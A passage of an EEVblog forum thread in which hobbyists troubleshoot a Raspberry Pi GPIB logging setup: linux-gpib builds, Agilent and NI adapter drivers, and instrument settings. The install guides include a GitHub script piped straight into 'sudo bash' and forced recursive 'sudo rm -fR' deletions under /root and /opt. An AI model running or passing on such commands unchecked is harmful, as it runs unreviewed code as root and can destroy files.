YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #269 on: January 28, 2017, 04:14:34 pm »
Does anyone here use the free Mathematica and Wolfram Language package supplied with Raspbian to analyze and present the measurements?

I ask because it looks like a pretty capable package (albeit obtuse - I am used to Matlab).
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #270 on: January 28, 2017, 06:03:34 pm »
In-case this helps others. 

I just received an E5810 LAN/GPIB Gateway and ran into an issue with the 3458A python script, was always receiving a timeout error, that I wasn't running into with the Agilent 82357B dongle.

For whatever reason the 3458A won't respond to read/query commands until END ALWAYS is sent.  Only need to send it once and your set (till you power cycle or reset), so I just modified the script with the below as the first command sent to the instrument and life is good.

inst.write("END ALWAYS")

The E5810 sure makes my life/programming easier, should have bought one eons ago!

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #271 on: January 28, 2017, 06:15:49 pm »
For whatever reason the 3458A won't respond to read/query commands until END ALWAYS is sent.  Only need to send it once and your set (till you power cycle or reset)

Strange that you didn't encounter problems w. the other adapter.

The : END ALWAYS  is a known MUST  on the 3457 & 3458

/Bingo

PS: Thanx for the feedback
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #272 on: January 28, 2017, 06:27:59 pm »
Strange that you didn't encounter problems w. the other adapter.

Further thinking, I think I set the gpib timeout to 30s, since END ALWAYS is further down the script it was probably coming around before the timeout.  Since the instrument is powered 24-7 and END ALWAYS was already enabled I never noticed the delay on subsequent data runs.

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #273 on: January 31, 2017, 06:56:43 am »
Easy.
Connect two instruments on let's say GPIB 7 and GPIB 8. Run two snakes to read something in loop from either instrument. Then turnoff one instrument and watch if remaining one+it's snake still alive  :)
If it is not, then that might be actually an electrical, rather than software issue.  iirc, if multiple instruments are on the same bus, the majority on them ought to be on to ensure proper signaling.
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #274 on: February 02, 2017, 06:13:20 pm »
Second 3458 refurbed, up and running.  Waiting on a 2000-Scan card for my 2010 which will be dedicated to logging board temps.

Gotta get working on a temp chamber next.

 
The following users thanked this post: TiN, CalMachine

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #275 on: February 04, 2017, 12:53:54 pm »
@dr.d
Well done ...

I ought to try my Agilent LAN->GPIB adapter out.

Are you using the Raspi w. the voltnut image ?
This thread (image devel) seems to have come to a standstill for now.

/Bingo
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #276 on: February 04, 2017, 01:06:53 pm »
Are you using the Raspi w. the voltnut image ?
This thread (image devel) seems to have come to a standstill for now.

I was initially, but since the E5810 I moved it to a VM, it was just easier for me.

I'd love to see the image expanded on the web logging/graphing/trending side, but that is not my particular strong suit.  A standard here might be nice for those active in the T.C./LTZ arena.

Frank's branch is active and has more "stuff"

https://github.com/FrankBuss/RPi_LogNut


Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #277 on: February 05, 2017, 02:32:05 am »
Sorry folks I am lost... Is am image available for download for Pi3 ?
Does it support Agilent 82357B clone?
Facebook-free life and Rigol-free shack.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #278 on: February 05, 2017, 07:42:47 am »
Sorry folks I am lost... Is am image available for download for Pi3 ?
Does it support Agilent 82357B clone?

The issue w. the Agilent 82357B ( and clones) is solved , by the linux-gpib maintainer Dave Penkler.
I'm not sure if the downloadable image for the Pi3 has been updated w. the latest SVN version of linux-gpib , that contains the fix.

But it would be quite easy to download the Old Pi3 image and do the linux-gpib update your self.

/Bingo

eevblog IRC
I'm sometimes joining the eevblog channel on irc , and might be able to help "online" , i'm using:
irc.afternet.org
#eevblog
« Last Edit: February 05, 2017, 08:03:51 am by bingo600 »
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #279 on: February 05, 2017, 07:53:50 am »
I upgraded to a pi3 a week ago, followed TiN's howto to get gpib up and running and it is working fine with the 82357B.
This is just a basic image though - no builtin graphing or web server etc which would be very nice to have.
VE7FM
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #280 on: February 05, 2017, 08:23:24 am »
Image for Pi2/Pi3 is available here:
https://doc.xdevs.com/doc/_Images_RPI-DL/.

One currently there is based on older linux-gpib, but have basic scripts and webserver with graph-logs.
Tested to be working fine with NI GPIB-USB-HS and different instruments.
If you want to use 83257B, can reference to my updated guide to update latest linux-gpib.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 
The following users thanked this post: VK5RC, CalMachine

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #281 on: February 07, 2017, 03:05:43 am »
Is any other download source? The link is _very_ slow....
Facebook-free life and Rigol-free shack.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #282 on: February 07, 2017, 03:40:11 am »
Took 4 hours for me to grab it. I had a go at updating it to the newest linux-gpib but had no luck, communication was still broken. Not sure why.
VE7FM
 

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #283 on: February 07, 2017, 03:45:47 am »
Took 4 hours for me to grab it.

Thanks for confirming. My download showed 7 hours ( cancelled it). This makes the OP effort useless, unless the image is uploaded elsewhere.
Facebook-free life and Rigol-free shack.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #284 on: February 07, 2017, 05:24:04 am »
The download speed varied quite a bit - it said it would be 2 hours when it started, then went to 7 hours but was a little quicker in the end. Not a huge deal to start it before bed - it should be ready by morning.
VE7FM
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #285 on: February 07, 2017, 08:06:02 pm »
I'll give it a go too

Edit: I got the image in 61 minutes

/Bingo
« Last Edit: February 08, 2017, 09:19:58 pm by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #286 on: February 07, 2017, 08:15:16 pm »
Didn't work for me either. It looked like the new linux-gpib wasn't installed (after a make uninstall), at least the debug printouts from the previous install were still there.
With a clean install it works fine though.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #287 on: February 07, 2017, 09:48:39 pm »
I have my Keysight U1272a with dual display python script finished.  Basically it displays the primary display with the secondary display. I also started a script for the Siglent function generator, mostly for the frequency counter graphing. 

I'll do a pull request to GIT when I'm finished.   
 
The following users thanked this post: dr.diesel

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #288 on: February 08, 2017, 05:51:53 pm »
Took 4 hours for me to grab it. I had a go at updating it to the newest linux-gpib but had no luck, communication was still broken. Not sure why.

@Steve et all

I just installed the Plesa VoltNut image on my Rpi3.
And upgraded to the latest linux-gpib.

I made a tiny how2:

Note: When pasting the url's from the guide be sure to remove the  url  tags , that i can't seem to get rid off inside a code block.


Code: [Select]

PC
-----

Get image from TiN here : [url]https://doc.xdevs.com/doc/_Images_RPI-DL/[/url]
--------------------------
wget -c [url]https://doc.xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip[/url]


Write image to SD card
------------------------
dd bs=4M if=RPi_LogNut_v2 of=/dev/sdx       - replace /dev/sdx to fit your mount point


If you use a SD card larger than 8G , maybe resize to use all - See:
----------------------------------------------------------------------
http://elinux.org/RPi_Resize_Flash_Partitions#Manually_resizing_the_SD_card_using_a_GUI_with_GParted

*** Note ***
[url]https://en.wikipedia.org/wiki/F2FS[/url]
Plesa has apparently chosen f2fs as the file system - should be a fs made for flash
That makes it very difficult to resize the filesystem to ie. 32GB (size of my SD card)




Raspi
---------

Mount card in Raspi , and boot.

Login to Raspi (ssh) - user: pi , pass: raspberry

Update OS
--------------
sudo apt-get update
sudo apt-get upgrade

Adapt hostname
---------------
sudo nano /etc/hostname

reboot
---------
sudo reboot now

Update firmware
------------------
sudo rpi-update

reboot
---------
sudo reboot now


Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
You probably want to delete everything starting with linux in the /root directory


Update kernel headers to newly installed kernel
------------------------------------------------
sudo wget [url]https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source[/url] -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update

Get the new headers fot the running kernel
--------------------------------------------
sudo rpi-source

** Watch out for this one ** - You prob. forgot to make room for the new headers above.
ERROR:
Not enough diskspace (900MB) on /root
Skip this check with --skip-space


reboot
---------
sudo reboot now


Build latest linux-gpib
--------------------------
cd /opt
sudo rm -fR linux-gpib
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install


Make the agilent module load automatically on boot
----------------------------------------------------
sudo sed -i -e "\$aagilent_82357a" /etc/modules


reboot
---------
sudo reboot now



Now you have the latest linux-gpib on the voltnut image


Check the new module is loaded

pi@raspi4:~ $ lsmod
Module                  Size  Used by
bnep                   10340  2
bluetooth             326105  5 bnep
brcmfmac              186403  0
brcmutil                5661  1 brcmfmac
snd_bcm2835            20447  1
cfg80211              428871  1 brcmfmac
snd_pcm                75762  1 snd_bcm2835
snd_timer              19288  1 snd_pcm
rfkill                 16037  4 cfg80211,bluetooth
snd                    51908  5 snd_bcm2835,snd_timer,snd_pcm
i2c_bcm2708             4834  0
bcm2835_wdt             3225  0
bcm2835_gpiomem         3040  0
uio_pdrv_genirq         3164  0
uio                     8000  1 uio_pdrv_genirq
agilent_82357a         18276  0    <---------------------- **** Here
gpib_common            31540  1 agilent_82357a       <---- **** Here
i2c_dev                 5859  0
fuse                   84037  3
ipv6                  347556  52


If the module is NOT present , something went wrong with the linux-gpib build/install
Probably wrong kernel-headers , you might have installed a new version of linux.
And have NOT done a : sudo rpi-source


Check the installed linux-gpib version with :
----------------------------------------------
$ gpib_config -v
linux-gpib version = 4.0.3 [r1655]

/Bingo

I will not use this image , as just using 8GB out of my 32GB card is not acceptable.
And  resize.f2fs  apparently is NOT in the current Raspi version of  : f2fs-tools.

$ sudo apt-cache policy f2fs-tools
f2fs-tools:
  Installed: 1.4.0-2
  Candidate: 1.4.0-2

It seems to be in f2fs-tools_1.7.0-1.1


I hope that Plesa will make an ext4 version too

Ohh: I haven't tested with an Agilent/Beiming gpib adapter yet , but as the module loads - It should work


/Bingo

Make sure to see Steve's additons here
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1133932/#msg1133932
« Last Edit: February 11, 2017, 01:40:34 pm by bingo600 »
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #289 on: February 08, 2017, 06:08:47 pm »
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.
VE7FM
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #290 on: February 08, 2017, 07:26:31 pm »
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.

It seemed like the agilent_82357a wasn't in /etc/modules
This means you'd have to do a manual : sudo modprobe agilent_82357a

Else i doubt the module would be loaded at all

/Bingo

 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #291 on: February 08, 2017, 08:34:23 pm »
The module was loading fine, firmware automatically uploaded etc. Running ibtest even found the the controller but it would fail when trying to actually send data to a device.
VE7FM
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #292 on: February 08, 2017, 08:35:57 pm »
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.

Had to disconnect and reconnect the 82357 from USB (after the version update) to get it to not time out after the update (otherwise got the 14 timeout error).

@Bingo Kudos - Your update instructions work beautifully.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #293 on: February 08, 2017, 08:57:09 pm »
@Bingo Kudos - Your update instructions work beautifully.

Great
Thank you for the feedback :-+

Ohh: remember the linux-gpib modules are kernel dependant.

Whenever you get/install a new kernel , you need to :

reboot
---------
sudo reboot now


Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
You probably want to delete everything starting with linux in the /root directory


Get the new headers fot the running kernel
--------------------------------------------
sudo rpi-source


Build latest linux-gpib
--------------------------
cd /opt
sudo rm -fR linux-gpib
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install

/Bingo
« Last Edit: February 11, 2017, 01:19:57 pm by bingo600 »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #294 on: February 08, 2017, 09:18:27 pm »
The module was loading fine, firmware automatically uploaded etc. Running ibtest even found the the controller but it would fail when trying to actually send data to a device.

But would it load the module after a reboot ??

/Bingo
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #295 on: February 09, 2017, 07:24:16 am »
I don't know if this is OT or OT (BTW - is there a different shorthand for On topic as for Off topic?) - As it may be an HP34401A issue only - and a beginner sort of issue at that....

I was trying to use the RPi to do long term measuring but kept getting different results from the Keysight (Agilent) tools, and from what I was getting on the display. On the display I was stable to within +-1uV@1V range (short term, of course, longer term I get some drift) while on the RPI I was getting fluctuations of many PPM (up to say +-3uV or even more, same range). Also, readings came in faster. My original suspicion was NPLC, which turned out to be a false suspect...

Well, I ended up writing a short script that dumped all the settings. The one that turned out to cause this was the [SENSe:]ZERO:AUTO. When used from the front panel, the DMM zeroes itself between readings (hence the slow update rate). However, sending a ZERO:AUTO? returned a '0' (Off) when measuring using the RPi. So the DMM was not zeroing itself (hence the update rate was double).

Adding the line ZERO:AUTO ON fixed this issue and stabilized the measurement.

Hope this helps someone out there.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #296 on: February 11, 2017, 03:00:10 am »
bingo600 - I believe your howto needs several bits added to work with the 82357B

A couple notes from my attempt:

Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
sudo rm -fR /root/*


The above command does not work but it won't give you any indication of that because of the -f
If you remove the -f you'll find the command won't work with sudo. If you switch to true root login(sudo su) it will work fine.
If you don't get this command to work properly you will run out of space when you proceed to the next step.


When everything is complete the module will load but it won't work by default.

We need to install fxload:

sudo apt-get install fxload

Then we need to get the Agilent 82357 firmware:
cd /opt
sudo wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
sudo tar xvzf gpib_firmware-2008-08-10.tar.gz

Then we need to copy the firmware to /usr/share/usb/agilent

cd /opt/gpib_firmware-2008-08-10/agilent_82357a
sudo cp measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

I believe /etc/gpib.conf should also be modified to support the 82357:
 board_type = "agilent_82357a"   /* type of interface board being used */

At this point the 82357 will work great and load at boot.


« Last Edit: February 11, 2017, 04:15:54 am by TheSteve »
VE7FM
 
The following users thanked this post: ManateeMafia

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #297 on: February 11, 2017, 01:25:10 pm »
bingo600 - I believe your howto needs several bits added to work with the 82357B

A couple notes from my attempt:

Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
sudo rm -fR /root/*


The above command does not work but it won't give you any indication of that because of the -f
If you remove the -f you'll find the command won't work with sudo. If you switch to true root login(sudo su) it will work fine.
If you don't get this command to work properly you will run out of space when you proceed to the next step.

Sorry , this command ought to work : sudo  rm -fR /root/* -

Corrected instructions tn the above posts , to let the user chose how to make room.
Them i'm avoiding to specify a rm -fR in a guide ....


But strange that your : sudo rpi-source
Didn't give you the warning that i specifically mentioned to watch out for , if/when running out of space.

Quote
** Watch out for this one ** - You prob. forgot to make room for the new headers above.
ERROR:
Not enough diskspace (900MB) on /root
Skip this check with --skip-space

Or did you miss that one  ;)



When everything is complete the module will load but it won't work by default.

We need to install fxload:

sudo apt-get install fxload

Then we need to get the Agilent 82357 firmware:
cd /opt
sudo wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
sudo tar xvzf gpib_firmware-2008-08-10.tar.gz

Then we need to copy the firmware to /usr/share/usb/agilent

cd /opt/gpib_firmware-2008-08-10/agilent_82357a
sudo cp measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

I believe /etc/gpib.conf should also be modified to support the 82357:
 board_type = "agilent_82357a"   /* type of interface board being used */

At this point the 82357 will work great and load at boot.

You might be correct about the above things.
My post was only about how to upgrade the volt-nut image to the latest linux-gpib version, not fixing the existing image.

It never even occured to me that those things could be missing , but then again Plesa never had a working linux-gpib for the agilent when making the image.

Thanx for the update  :-+

/Bingo

« Last Edit: February 11, 2017, 01:50:49 pm by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #298 on: February 11, 2017, 06:02:37 pm »
I think the 82357B related stuff was intentionally left out, as it didn't work. So no, this in not in the v2 image.
 

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #299 on: February 11, 2017, 06:35:03 pm »
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.
Facebook-free life and Rigol-free shack.
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #300 on: February 11, 2017, 06:45:28 pm »
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.

Linux Voltnut fits me pretty good   ;D
 
The following users thanked this post: bck

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #301 on: February 11, 2017, 07:47:35 pm »
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.

Hmm ...  :-//

Did you notice that we hit a "hard bump" in December
We had to get the linux-gpib maintainer involved, in order to get the Agilent GPIB adapter working ?   :phew:

The image is still WIP , and plesa is working on a new version.
I'm quite sure the goal is to deliver a working RasPi setup.
This time i don't think it's a full image, but a set of install scripts.

If you are impatient , you could cure your depression by getting LabView  ;)
Or use the Excel macro stuff you toyed with, in the other thread.

I have spend quite some time to help out getting this image on the right track , so people with Agilent clone adapters could get a working system.
I seem to remember you mention having such an adapter ....   


/Bingo
« Last Edit: February 11, 2017, 07:58:53 pm by bingo600 »
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #302 on: February 11, 2017, 08:01:52 pm »
I can understand it being overwhelming for people with no linux experience.

I can upload the image I updated if people would like. If not it sounds like Plesa is working on an updated image. I don't think we want a big collection of images cluttering up TiN's server.
VE7FM
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #303 on: February 11, 2017, 08:43:39 pm »
@Steve

Plesa hinted that the next one will be a collection of install scripts , expected to be applied over the Raspbian image.
This prob. means no more full image dumps.

So you prob. wouldn't clutter anything by uploading

/Bingo
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #304 on: February 11, 2017, 10:49:26 pm »
I used a 16 gig micro sd card so reading it with win32diskimage it is now 16 gigs(15,523,119,104 bytes) even though it is only half used.

I used to have a bunch of linux/unix boxes around, these days I just have raspberry pi's. I can still do it though if someone wants it.
VE7FM
 

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #305 on: February 11, 2017, 11:01:22 pm »
Plesa hinted that the next one will be a collection of install scripts

How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.
Facebook-free life and Rigol-free shack.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #306 on: February 11, 2017, 11:13:54 pm »
Plesa hinted that the next one will be a collection of install scripts

How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.

Unless you're connected to the live internet you don't really need to update it - if it works, just keep using it.
VE7FM
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #307 on: February 12, 2017, 08:14:56 am »
How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.
Look at it as an opportunity to improve your Linux knowledge. At least that's how I tried to approach it. I'm not saying that from time to time I didn't wish it just plain worked though  :).
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #308 on: February 12, 2017, 08:17:41 am »
This time i don't think it's a full image, but a set of install scripts.
@Plesa
If you need help with testing or writing parts of the script, let me know.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #309 on: February 12, 2017, 05:14:30 pm »
Sorry it takes so long.
After multiple weeks of logging I decided to buil image on 4.4.38, other kernels has intermittent errors.
Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.
So to make your Volnut iamege, just download the
https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-01-10/2017-01-11-raspbian-jessie.zip
Restore it to SD card and after automatic resize run script in terminal
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.38.
Your GPIB adapter should be connected to set gpib.conf properly.
Otherwise modify gpib.conf manually

« Last Edit: February 12, 2017, 05:16:42 pm by plesa »
 
The following users thanked this post: denimdragon

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #310 on: February 12, 2017, 08:57:49 pm »
Plesa - thank you for the script. I gave it a try and here are my results.

2017-01-11-raspbian-jessie.zip uses kernel 4.4.34 - the script updated my image to 4.4.38 and then rebooted(as you said it would)

I ran the script a second time but it died when muug.ca was not reachable.

I ran the script again and this time it was able to reach muug.ca and download the needed files.
It compiled linux-gpib but afterwards died with the following:

Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device

I had a poke around and noticed /etc/modules did not have the required entry. I added it and rebooted. Communication with the 82357B now works fine.
I haven't reviewed the script to see what else it was going to setup and have not run the script again.

edit:

Checked out the script, doesn't look like I really missed anything needed.

I would add a "sed -i -e "\$aagilent_82357a" /etc/modules" so everything loads automatically.

Also - should this script have a web server running?
« Last Edit: February 12, 2017, 10:43:42 pm by TheSteve »
VE7FM
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #311 on: February 22, 2017, 05:14:11 am »
Plesa - thank you for the script. I gave it a try and here are my results.

2017-01-11-raspbian-jessie.zip uses kernel 4.4.34 - the script updated my image to 4.4.38 and then rebooted(as you said it would)

I ran the script a second time but it died when muug.ca was not reachable.

I ran the script again and this time it was able to reach muug.ca and download the needed files.
It compiled linux-gpib but afterwards died with the following:

Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device

I had a poke around and noticed /etc/modules did not have the required entry. I added it and rebooted. Communication with the 82357B now works fine.
I haven't reviewed the script to see what else it was going to setup and have not run the script again.

edit:

Checked out the script, doesn't look like I really missed anything needed.

I would add a "sed -i -e "\$aagilent_82357a" /etc/modules" so everything loads automatically.

Also - should this script have a web server running?

The modules should be loded automatically after next reboot( added ldconfig, depmod, modprobe).
During testing I found that something is wrong wit NI GPIB USB HS support.It seems to be broken with latest linux-gpib 1655 and kernel 4.4.38 and recent tree.

Scripts for server are in progress - lighttp, temporary location in RAM (tmpfs filesystem) to minimize wear level of SD card, live graph on small LCD (3.5") of temperature, humidity and presssure.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #312 on: February 22, 2017, 07:10:08 am »
@Plesa et all

Seems like Dave discovered that the NI-USB have started to "behave" as the Agilent.

Quoted text
Quote
[   99.621040] Linux-GPIB 4.0.3 Driver [   99.624382] ni_usb_gpib driver
loading [   99.624443] ni_usb_gpib: probe succeeded for path:
usb-0000:00:1d.0-1.2 [   99.624479] usbcore: registered new interface
driver ni_usb_gpib [   99.624481] gpib: registered ni_usb_b interface [
132.187333] ni_usb_gpib: attach [  132.187339]    attached to bus interface
0, address 0xffff9baeb751a000 [  132.196677]    product id=0x709b [
132.196683] ------------[ cut here ]------------
[  132.196712] WARNING: CPU: 1 PID: 1448 at drivers/usb/core/hcd.c:1584
usb_hcd_map_urb_for_dma+0x42a/0x550 [usbcore]
[  132.196713] transfer buffer not dma capable

Dave writes on the gpib-mailinglist

Quote
OK we  have seen this problem with the agilent driver also.
The kernel has become stricter with dma mappable buffers.
Will post a patch to SVN.
Thanks,
-Dave

I'll try to get some more info from Dave

/Bingo

Ps: I'll try out the image asap
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #313 on: February 22, 2017, 03:15:06 pm »
Dave might have fixed the NI-USB problem

Quote
SVN commit [r1656] should fix the problem. Please report here if the fix
is successful as I do not have an NI USB adapter to test with.

For convenience I have uploaded a release candidate distribution tarball
linux-gpib-4.0.4rc1.tar.gz
<https://sourceforge.net/projects/linux-gpib/files/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.0.4/>
cheers,
-dave

Could someone verify ??

I don't have a NI adapter

/Bingo
« Last Edit: February 22, 2017, 03:16:52 pm by bingo600 »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #314 on: February 22, 2017, 04:20:47 pm »
Ohh -
A tip for users installing on a "Headless Raspi" (No HDMI screen connected).

When making the SD card image on the PC, make sure to create a file called ssh on the /boot partition.
This will enable SSH on bootup.

I just found out the hard way  ;)

/Bingo
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #315 on: February 22, 2017, 05:33:17 pm »
Dave might have fixed the NI-USB problem

Quote
SVN commit [r1656] should fix the problem. Please report here if the fix
is successful as I do not have an NI USB adapter to test with.

For convenience I have uploaded a release candidate distribution tarball
linux-gpib-4.0.4rc1.tar.gz
<https://sourceforge.net/projects/linux-gpib/files/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.0.4/>
cheers,
-dave

Could someone verify ??

I don't have a NI adapter

/Bingo

I just tried with kernel 4.9.11 with similar results.
ibtest
Code: [Select]
enter a string to send to your device: *idn?
sending string: *idn?


Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
